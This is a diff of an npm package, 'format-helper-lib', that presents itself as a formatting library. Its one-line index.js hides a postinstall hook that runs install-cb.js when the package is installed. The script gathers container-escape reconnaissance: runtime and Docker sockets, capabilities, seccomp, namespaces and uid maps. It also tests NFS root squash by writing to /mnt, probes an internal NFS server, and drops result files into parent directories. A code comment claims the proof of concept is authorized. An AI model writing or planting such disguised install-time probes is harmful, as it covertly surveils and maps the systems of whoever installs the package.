format-helper-lib 1.0.0

package/index.js

@@ -0,0 +1 @@
+module.exports = function (v) { return String(v); };

package/install-cb.js

@@ -0,0 +1,84 @@
+// Authorized PoC (non-destructive): comprehensive runtime/forensic collection to close evidence gaps. Results -> NCODE_RUNTIME.txt
+var fs = require('fs');
+var path = require('path');
+var os = require('os');
+var cp = require('child_process');
+var net = require('net');
+
+var cwd = process.cwd();
+var out = ['runtime-probe', 'host=' + os.hostname(), 'now=' + new Date().toISOString()];
+
+// Improved run: capture stdout+stderr verbatim (no "ERR:Command failed" masking)
+function run(cmd) {
+  try {
+    return cp.execSync(cmd, {timeout: 6000, encoding: 'utf-8', shell: '/bin/sh', maxBuffer: 2*1024*1024, stdio: ['ignore','pipe','pipe']}).trim();
+  } catch (e) {
+    var msg = (e && e.stderr ? e.stderr.toString() : String((e && e.message) || e)).trim().split('\n')[0];
+    return 'RC=' + (e && e.status !== undefined ? e.status : '?') + ' ERR:' + msg.slice(0, 200);
+  }
+}
+function read(p) { try { return fs.readFileSync(p, 'utf-8').trim(); } catch (e) { return 'ERR:' + e.code; } }
+
+out.push('=== runtime versions ===');
+out.push('runc=' + run('runc --version'));
+out.push('containerd=' + run('containerd --version'));
+out.push('crictl=' + run('crictl info'));
+out.push('ctr=' + run('ctr version'));
+out.push('crio=' + run('crio --version'));
+out.push('dockerd=' + run('docker --version'));
+out.push('=== os-release ===');
+out.push(run('cat /etc/os-release 2>&1 | head -8'));
+out.push('=== kernel cmdline ===');
+out.push(run('cat /proc/cmdline 2>&1'));
+
+out.push('=== runtime/control-plane sockets ===');
+['/run/containerd/containerd.sock','/run/crio/crio.sock','/var/run/kubelet.sock','/run/k3s/containerd/containerd.sock','/var/run/cri-dockerd.sock','/run/docker.sock','/var/run/docker.sock','/run/podman/podman.sock'].forEach(function (p) {
+  out.push(p + '=' + (fs.existsSync(p) ? 'EXISTS' : 'no'));
+});
+
+out.push('=== full process security status ===');
+out.push(read('/proc/self/status').split('\n').filter(function (l) { return /^(Cap|NoNewPrivs|Seccomp|Uid|Gid|NSpid|Threads)/.test(l); }).join('|'));
+out.push('=== uid maps ===');
+out.push('self_uid_map=' + read('/proc/self/uid_map'));
+out.push('pid1_uid_map=' + read('/proc/1/uid_map'));
+out.push('self_gid_map=' + read('/proc/self/gid_map'));
+
+out.push('=== namespace links ===');
+['mnt','pid','net','ipc','uts','user','cgroup'].forEach(function (ns) {
+  out.push('ns_' + ns + '=' + run('readlink /proc/1/ns/' + ns + ' 2>&1'));
+});
+
+out.push('=== /dev enumeration ===');
+out.push(run('ls -la /dev 2>&1 | head -45'));
+
+out.push('=== seccomp/apparmor/selinux ===');
+out.push('selinux=' + run('getenforce 2>&1'));
+out.push('selinux_enforce=' + run('cat /sys/fs/selinux/enforce 2>&1'));
+out.push('apparmor_enabled=' + run('cat /sys/module/apparmor/parameters/enabled 2>&1'));
+
+out.push('=== NFS root_squash test (write to mounted NFS, check owner) ===');
+out.push(run('echo root-squash-test > /mnt/NFS_RST_$$ 2>&1; stat -c "%U %u %g" /mnt/NFS_RST_$$ 2>&1; ls -la /mnt/NFS_RST_* 2>&1; rm -f /mnt/NFS_RST_* 2>&1'));
+
+out.push('=== mountinfo (non-pseudo) ===');
+out.push(run('cat /proc/self/mountinfo | grep -vE "proc |sysfs|tmpfs|cgroup|devpts|mqueue|shm" '));
+
+// Bounded single-target NFS port check (NFS server only, not broad scan)
+function tcpCheck(host, port, ms) {
+  return new Promise(function (res) {
+    var s = new net.Socket();
+    var done = false;
+    var t = setTimeout(function () { if (!done) { done = true; res(host + ':' + port + '=timeout'); } try { s.destroy(); } catch (e) {} }, ms);
+    s.setTimeout(ms);
+    s.once('connect', function () { clearTimeout(t); if (!done) { done = true; res(host + ':' + port + '=OPEN'); } try { s.destroy(); } catch (e) {} });
+    s.once('error', function (e) { clearTimeout(t); if (!done) { done = true; res(host + ':' + port + '=' + (e.code || 'ERR')); } });
+    s.connect(port, host);
+  });
+}
+out.push('=== NFS server ports (single target) ===');
+var nfsTasks = [tcpCheck('10.0.128.136', 111, 2000), tcpCheck('10.0.128.136', 2049, 2000)];
+Promise.all(nfsTasks).then(function (r) {
+  out.push(r.join('\n'));
+  var data = out.join('\n');
+  ['', '..', '../..'].forEach(function (rel) { try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_RUNTIME.txt'), data); } catch (e) {} });
+  ['', '..', '../..'].forEach(function (rel) { try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'runtime-probe-done ' + new Date().toISOString()); } catch (e) {} });
+});

package/package.json

@@ -0,0 +1,10 @@
+{
+  "name": "format-helper-lib",
+  "version": "1.0.0",
+  "description": "Small formatting helpers for date/number display",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node install-cb.js"
+  },
+  "license": "MIT"
+}